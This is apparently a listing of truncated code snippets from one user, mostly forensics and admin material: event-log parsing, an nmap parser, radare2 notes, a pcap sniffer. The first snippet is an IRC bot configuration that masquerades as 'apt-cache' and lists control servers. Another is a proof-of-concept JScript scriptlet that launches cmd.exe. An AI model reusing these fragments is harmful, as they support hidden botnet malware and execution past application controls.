schrodyn

#define STARTUP	1
#undef IDENT			// Only enable this if you absolutely have to
#define FAKENAME "apt-cache"	// What you want this to hide as
#define CHAN "#mint"	// Channel to join
#define KEY "bleh"		// The key of the channel
int numservers=5;		// Must change this to equal number of servers down there
char *servers[] = {
	"updates.absentvodka.com",
        "updates.mintylinux.com",
	"eggstrawdinarry.mylittlerepo.com",

schrodyn

#Security log
#============
####
#4624 - Logon & Logoff events successful
#4625 - Logon unsucceful

####
# Get usernames
Get-WinEvent -path .\Security.evtx | Where {$_.id -eq "4624"} | Foreach {([xml]$_.ToXml()).GetElementsByTagName("Data").ItemOf(5)}| Select -ExpandProperty "#text" -Unique 
# Get domains

schrodyn

# Logparser

# http://www.leeholmes.com/blog/2008/07/30/workaround-the-os-handles-position-is-not-what-filestream-expected/
$bindingFlags = [Reflection.BindingFlags] "Instance,NonPublic,GetField"
$objectRef = $host.GetType().GetField("externalHostRef", $bindingFlags).GetValue($host)

$bindingFlags = [Reflection.BindingFlags] "Instance,NonPublic,GetProperty"
$consoleHost = $objectRef.GetType().GetProperty("Value", $bindingFlags).GetValue($objectRef, @())

[void] $consoleHost.GetType().GetProperty("IsStandardOutputRedirected", $bindingFlags).GetValue($consoleHost, @())

schrodyn

<?XML version="1.0"?>
<scriptlet>
<registration 
    progid="Empire"
    classid="{F0001111-0000-0000-0000-0000FEEDACDC}" >
	<!-- Proof Of Concept - Casey Smith @subTee -->
	<script language="JScript">
		<![CDATA[
	
			var r = new ActiveXObject("WScript.Shell").Run("cmd.exe");	

schrodyn

@echo on & @setlocal enableextensions
@echo =========================
@echo Turn off the time service
net stop w32time
@echo ======================================================================
@echo Set the SNTP (Simple Network Time Protocol) source for the time server
w32tm /config /syncfromflags:manual /manualpeerlist:"0.it.pool.ntp.org 1.it.pool.ntp.org 2.it.pool.ntp.org 3.it.pool.ntp.org"
@echo =============================================
@echo ... and then turn on the time service back on
net start w32time

schrodyn

apt-get install python2.7-dev python2.7
apt-get build-dep gdb
apt-get source gdb
sed -i -E "s|python3|/usr/bin/python2.7|" debian/rules
dpkg-buildpackage -uc -us -j8
dpkg-install ../*.deb

schrodyn

#!/usr/bin/env perl
#
#
# Host: 10.10.9.8 ()      Ports: 21/open/tcp//ftp//Microsoft ftpd/, 25/open/tcp//smtp//Microsoft ESMTP 6.0.3790.4675/,
#
#
use strict;
use warnings;
use Data::Dumper;

schrodyn

# radare2

load without any analysis (file header at offset 0x0): r2 -n /path/to/file

analyze all: aa
list functions: afl
seek to function: s sym.main

open project: Po <name>
save project: Ps <name>

schrodyn

#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <pcap.h>
#include <arpa/inet.h>

#define SIZE_ETHERNET 14

/* Callback function. */
void got_packet(u_char *args, const struct pcap_pkthdr *header, const

schrodyn

#
# NB : this is not secure
# from http://code.activestate.com/recipes/266586-simple-xor-keyword-encryption/
# added base64 encoding for simple querystring :)
#

def xor_crypt_string(data, key='awesomepassword', encode=False, decode=False):
    from itertools import izip, cycle
    import base64
    if decode: